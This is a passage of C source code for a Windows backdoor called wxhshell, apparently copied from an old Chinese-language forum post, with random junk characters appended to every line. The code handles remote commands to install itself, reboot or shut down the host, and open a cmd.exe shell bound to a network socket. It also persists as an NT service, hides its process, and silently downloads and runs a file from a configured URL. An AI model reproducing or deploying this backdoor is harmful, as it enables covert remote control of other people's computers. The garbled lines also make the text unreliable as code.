I4RUXi 5  
    switch(cmd[0]) { |vVcO  
  M tD{/.D>  
  // 帮助 Ak=|wY{  
  case '?': { >mXq= 9L4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); yG~7Xo5  
    break; wrJ:jTh  
  } <JkmJ/X  
  // 安装 }u9wD08x  
  case 'i': { 8V f]K}d  
    if(Install()) fHc/5uYW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;mtv  
    else  )o\U4t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k'b'Ay(<  
    break; TLWU7aj&!  
    } IJzPWs5W:  
  // 卸载 >^|( AzS  
  case 'r': { AhauNS^"{R  
    if(Uninstall()) }g]O_fN7~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {CH *?|t  
    else l+n0=^ Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /tqQAvj  
    break; y%NZ(Y,v  
    } =T3O;i  
  // 显示 wxhshell 所在路径 p+7ZGB  
  case 'p': { PYPDK*Ie  
    char svExeFile[MAX_PATH]; wz1fl#WU  
    strcpy(svExeFile,"\n\r"); lAZn0EU  
      strcat(svExeFile,ExeFile); Z7:TPY$b  
        send(wsh,svExeFile,strlen(svExeFile),0); Sn~h[s_(  
    break; sY*iRq  
    } ]Ac&h aAP  
  // 重启 Pi&8!e<  
  case 'b': { GDBxciv  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3g''j7  
    if(Boot(REBOOT)) =, WW#tD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?jy6%Y#,i  
    else { F?EAIL  
    closesocket(wsh); =xX)2h  
    ExitThread(0); ![}q9aeT  
    } }_GI%+t  
    break; < X&{6xu  
    } } 0^wJs  
  // 关机 25m6/Y  
  case 'd': { ,{rm<M.)  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B$)&;Q  
    if(Boot(SHUTDOWN)) B!iz=+RNC1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ) HPe}(ypt  
    else { ^Ox|q_E w}  
    closesocket(wsh); L kA_M'G  
    ExitThread(0); QT[yw6Z  
    } R3\oLT4  
    break; :^92B?q  
    } G zw $M  
  // 获取shell v==]v2 -  
  case 's': { S{.G=O  
    CmdShell(wsh); u U;]/  
    closesocket(wsh); v5Qp[O_  
    ExitThread(0); #G`UR  
    break; W]l&mr  
  } ),53(=/hl  
  // 退出 ,MRAEa2  
  case 'x': { 4,.B#: 8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); i{.%4tA4  
    CloseIt(wsh); Qe,aIh  
    break; ER4j=O#  
    } $<QOMfY>  
  // 离开 fAHf}j  
  case 'q': { Cg4l*"_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); hantGw |  
    closesocket(wsh); 0Xx&Z8E  
    WSACleanup(); xfsf  
    exit(1); kH9P(`;Vq  
    break; .*_uXQ  
        } B!X;T9^d  
  } p.50BcDg  
  } 2zQ62t}  
V\4zK$]  
  // 提示信息 ` 0}z ;&:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !`$xN~_  
} [ _N w5_  
  } gdKn!; ,w#  
Q`* v|Lp  
  return; U 4Sxr  
} {!G  
kl/eJN'S  
// shell模块句柄 Z#nPn>,q  
int CmdShell(SOCKET sock) [(65^Zl`  
{ zv>3Tc0R  
STARTUPINFO si; ZT'VF~  
ZeroMemory(&si,sizeof(si)); 9S8>"w^R  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2$OI(7b=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; XNd%3rm,  
PROCESS_INFORMATION ProcessInfo; 7>sNjOt@M  
char cmdline[]="cmd"; 52H'aHO1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); b IZuZF>*  
  return 0; I(2qXOG  
} Y(D&JKx  
qzbpLV|  
// 自身启动模式 -o`Eka!ELz  
int StartFromService(void) c@&-c[k^W  
{ rz'A#-?'oG  
typedef struct aUVJ\ ;V  
{ ^}>Ie03m50  
  DWORD ExitStatus; v0|[w2Q2  
  DWORD PebBaseAddress; ecg>_%.>  
  DWORD AffinityMask; k.MAX8  
  DWORD BasePriority; P_{jZ}y(  
  ULONG UniqueProcessId; npD`9ff  
  ULONG InheritedFromUniqueProcessId; &R7N^*He  
}   PROCESS_BASIC_INFORMATION; \ f6@B:?y  
[h;&r"1  
PROCNTQSIP NtQueryInformationProcess; #MwNyZ  
6Uik>e7?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; njoU0f1`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; gqCDF H  
F[HMX4  
  HANDLE             hProcess; Nd] w I|>  
  PROCESS_BASIC_INFORMATION pbi; }/cMG/%  
~l SdWUk>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); uOU?-WtPz  
  if(NULL == hInst ) return 0; miCW(mbO8  
)4@La&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |4lrVYG^K  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); V < ;vy&&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); H)u<$y!8  
1+0DTqWz  
  if (!NtQueryInformationProcess) return 0; >^\}"dEvr  
BEfp3|Stb  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &y~EEh|  
  if(!hProcess) return 0; C~PoC'"q  
b{WEux{)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Gs7#W:e7  
Ivdg1X  
  CloseHandle(hProcess); Ny oRp  
F9Y/Z5 Ea  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); h%0hryGB  
if(hProcess==NULL) return 0; D6M ktE)'  
cI g|sn  
HMODULE hMod; q)Uh_l.Cj  
char procName[255]; [`'[)B  
unsigned long cbNeeded; $&>z`bAS>  
p=-:Z?EW1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); QL{{GQ_dn  
(sHvoE^q-  
  CloseHandle(hProcess); 3$E\B=7/U  
265sNaX  
if(strstr(procName,"services")) return 1; // 以服务启动 #^Io9dA h  
6n}5>GSF  
  return 0; // 注册表启动  <m7T`5+  
} WOgPhJ  
7G^`'oZ  
// 主模块 2:>|zmh_  
int StartWxhshell(LPSTR lpCmdLine) xbeVq P  
{ l[)ZEEP  
  SOCKET wsl; ED>T2.:{  
BOOL val=TRUE; AnUOv 2  
  int port=0; ,*Vt53@E  
  struct sockaddr_in door; Q:/BC= ~  
F N)vFQ#J  
  if(wscfg.ws_autoins) Install(); hj8S#  
/!//i^  
port=atoi(lpCmdLine); 7j <:hF~  
k'hJ@ 6eKS  
if(port<=0) port=wscfg.ws_port; Gx.iZOOH/  
!VF.=\iH/  
  WSADATA data; g/2eY$6Z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :Jz@`s1n  
AzwG_XgM)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Sjogv  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); pP`KI'aUN  
  door.sin_family = AF_INET; ^9g+\W  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .@(+.G  
  door.sin_port = htons(port); @\_l%/z{  
:mpR}.^hv  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .^Z^L F  
closesocket(wsl); .gPXW=r  
return 1; v;r!rZX  
} mnwYv..ePz  
LZ"yMnhOf  
  if(listen(wsl,2) == INVALID_SOCKET) { W%)uKQha  
closesocket(wsl); Lh"!Z  
return 1; N0:gY]o%  
} B< `'h  
  Wxhshell(wsl); #t^y$9^  
  WSACleanup(); <Fc @T4Q,  
rps2sXGr  
return 0; ^JKV~+ Q  
tBZ&h` V  
} ^3q o%=i  
&$!'Cw`,  
// 以NT服务方式启动 99<0xN(25  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) m)]A$*`<  
{ ~BSE8M+r  
DWORD   status = 0; w=r3QKm#K  
  DWORD   specificError = 0xfffffff; lQnl6j  
)7H s  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;g0p`wV  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; DKcg  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \8I>^4t'/  
  serviceStatus.dwWin32ExitCode     = 0; ?2#v`Z=L;  
  serviceStatus.dwServiceSpecificExitCode = 0; K1F,M9 0]  
  serviceStatus.dwCheckPoint       = 0; &?-LL{W{  
  serviceStatus.dwWaitHint       = 0; 7xmyjy%c  
:n4X>YL)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); axRzn:f  
  if (hServiceStatusHandle==0) return; L;n2,b  
J:{$\m'  
status = GetLastError(); {APsi7HYBr  
  if (status!=NO_ERROR) m _0D^e7#  
{ v0ng M)^q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; b0~AN#Es  
    serviceStatus.dwCheckPoint       = 0; _-vf<QO]  
    serviceStatus.dwWaitHint       = 0; E27N1J+1  
    serviceStatus.dwWin32ExitCode     = status; ;U +;NsCH  
    serviceStatus.dwServiceSpecificExitCode = specificError; q66+x)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); LOD'iiH6  
    return; kg>Ymo.  
  } | Q Y_ci  
3M nm2*\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \Lz2"JI  
  serviceStatus.dwCheckPoint       = 0; Q}?yj,D D  
  serviceStatus.dwWaitHint       = 0; :oH~{EQ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .Q,IOCHk  
} "]jGCo>9  
=-ky%3:`@  
// 处理NT服务事件,比如:启动、停止 31w9$H N  
VOID WINAPI NTServiceHandler(DWORD fdwControl) NW.<v /?=,  
{ cR0RJ$[d  
switch(fdwControl) S_z}h  
{ V7zF5=w  
case SERVICE_CONTROL_STOP: m]bv2S+5y  
  serviceStatus.dwWin32ExitCode = 0; WhO;4-q)2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; yAu-BObD  
  serviceStatus.dwCheckPoint   = 0; FyZa1%Tv@  
  serviceStatus.dwWaitHint     = 0; k \|[=  
  { H$:Z`CQt<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zS@"ITy  
  } $GzTDq Y9@  
  return; KPGX/l  
case SERVICE_CONTROL_PAUSE: `Z3Qx~f x  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0L34)W  
  break; hrwQh2sm  
case SERVICE_CONTROL_CONTINUE: ZWC-<QO"<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6,"fH{Bd  
  break; ^lqcF.  
case SERVICE_CONTROL_INTERROGATE: }`oe<|  
  break; [TZlvX(E  
}; FkdG@7Xf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @quNVx(y  
} 58H[sM4>  
w1J&c'-  
// 标准应用程序主函数 wff&ci28  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $B6"fYiDk  
{ |(gq:O  
t'uZho~^F  
// 获取操作系统版本 05(lh<C  
OsIsNt=GetOsVer(); \#(cI  
GetModuleFileName(NULL,ExeFile,MAX_PATH); E^.y$d~dS  
G`9\v=0  
  // 从命令行安装 >IW0YIQy,  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;79X# hI  
AsRS7V  
  // 下载执行文件 SR 9 Cl  
if(wscfg.ws_downexe) { i$) `U]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) q16RPqfT  
  WinExec(wscfg.ws_filenam,SW_HIDE); G>?hojvi  
} {Gnji] v  
w][1C\8m  
if(!OsIsNt) { +Y!9)~f}7X  
// 如果时win9x,隐藏进程并且设置为注册表启动 G?LPj*=$?  
HideProc(); %}+!%A.3  
StartWxhshell(lpCmdLine); 8K! l X  
} ~q]+\qty4  
else ^h+<Q%'a'  
  if(StartFromService()) <RmI)g>'_^  
  // 以服务方式启动 oYNP,8r^  
  StartServiceCtrlDispatcher(DispatchTable); :t\pi. uWt  
else K~A$>0c  
  // 普通方式启动 "5mdq-h(  
  StartWxhshell(lpCmdLine); r5qp[Ss3F  
#>-_z  
return 0; .Od.lxz"mp  
}
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只看该作者 1 发表于: 2006-10-10
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